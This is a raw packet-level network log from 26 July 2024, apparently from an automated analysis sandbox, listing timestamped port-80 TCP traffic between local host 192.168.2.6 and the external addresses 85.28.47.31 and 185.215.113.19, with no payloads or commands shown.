Jul 26, 2024 13:49:24.488869905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.488879919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.489769936 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.489834070 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.489845037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.489857912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.489869118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.489881039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.489881992 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.489892006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.489902020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.489914894 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.489914894 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.490118027 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.490178108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.490190029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.490200043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.490211964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.490222931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.490334034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.490345001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.490355015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.490366936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491105080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491117954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491128922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491139889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491151094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491161108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491230011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491240978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491250992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.491559982 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.491609097 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.491626024 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.492213011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492386103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492398024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492408037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492419004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492429018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492439985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492449999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492460012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492470026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492645979 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.492973089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492985964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.492994070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.493094921 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.493108988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.493212938 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.493273020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.493284941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.493295908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.493305922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.493340015 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.493340015 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.494364977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494379044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494389057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494400978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494405031 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.494411945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494422913 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494432926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494437933 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.494443893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494455099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494465113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.494478941 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.494478941 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.494560003 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.495249033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495264053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495289087 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.495395899 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.495425940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495438099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495454073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495465040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495476961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495482922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.495482922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.495488882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495500088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.495537043 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.495537043 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.496296883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496310949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496320963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496331930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496344090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496354103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496360064 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.496459007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496470928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496474981 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.496474981 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.496489048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496501923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496510983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496520996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.496674061 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.497405052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497417927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497428894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497438908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497450113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497451067 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.497461081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497472048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497483015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497487068 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.497493982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497503996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497526884 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.497526884 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.497566938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.497975111 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.498090982 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.498222113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.498236895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.498245001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.498296022 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.498296022 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.573856115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.573893070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.573904991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.574110985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.574124098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.574136019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.574147940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.574160099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.574599028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.574610949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.574623108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.576124907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.576167107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.576179028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.576386929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.576400042 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.576411963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.576422930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577120066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577133894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577143908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577155113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577166080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577177048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577188015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577198029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577210903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577564001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577575922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577585936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577595949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577605963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577615976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577626944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.577636957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578079939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578092098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578103065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578114033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578125000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578135014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578145981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578155994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.578166962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579065084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579081059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579092026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579102993 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579113960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579124928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579135895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579145908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579155922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579946995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579960108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579971075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579982042 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.579993010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580003977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580015898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580027103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580037117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580913067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580925941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580936909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580948114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580959082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580969095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580979109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.580990076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581000090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581713915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581726074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581732035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581742048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581752062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581763029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581773043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581784010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581795931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581806898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.581818104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582715034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582729101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582739115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582748890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582760096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582770109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582782030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582796097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582808018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582823038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.582833052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583596945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583610058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583621025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583631992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583642960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583652973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583663940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583673954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583683968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583694935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583704948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.583715916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.584697008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.584711075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.584722996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.590662003 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593146086 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593146086 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593252897 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593292952 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593292952 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593374968 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593374968 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593374968 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593489885 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593561888 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.593602896 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.628765106 CEST	80	59041	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:24.628833055 CEST	59041	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:24.629446983 CEST	59041	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:24.635749102 CEST	80	59041	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:24.661097050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661122084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661139965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661295891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661307096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661318064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661329985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661621094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661633015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661643028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661654949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661963940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661976099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.661986113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663100958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663146019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663157940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663274050 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.663274050 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.663383007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663393974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663404942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663417101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663788080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663800001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663810968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663821936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.663834095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664287090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664299011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664309978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664320946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664330959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664341927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664352894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664362907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664375067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.664385080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665129900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665142059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665153027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665163994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665174961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665184975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665195942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665205956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665218115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.665227890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666424990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666438103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666449070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666459084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666469097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666480064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666500092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666511059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666521072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.666532040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.668981075 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.669097900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669141054 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.669186115 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.669313908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669326067 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.669326067 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.669337034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669497013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669511080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669648886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669661999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669786930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669925928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.669938087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670505047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670516968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670527935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670538902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670550108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670561075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670571089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670639038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670650005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670660019 CEST	80	59020	85.28.47.31	192.168.2.6
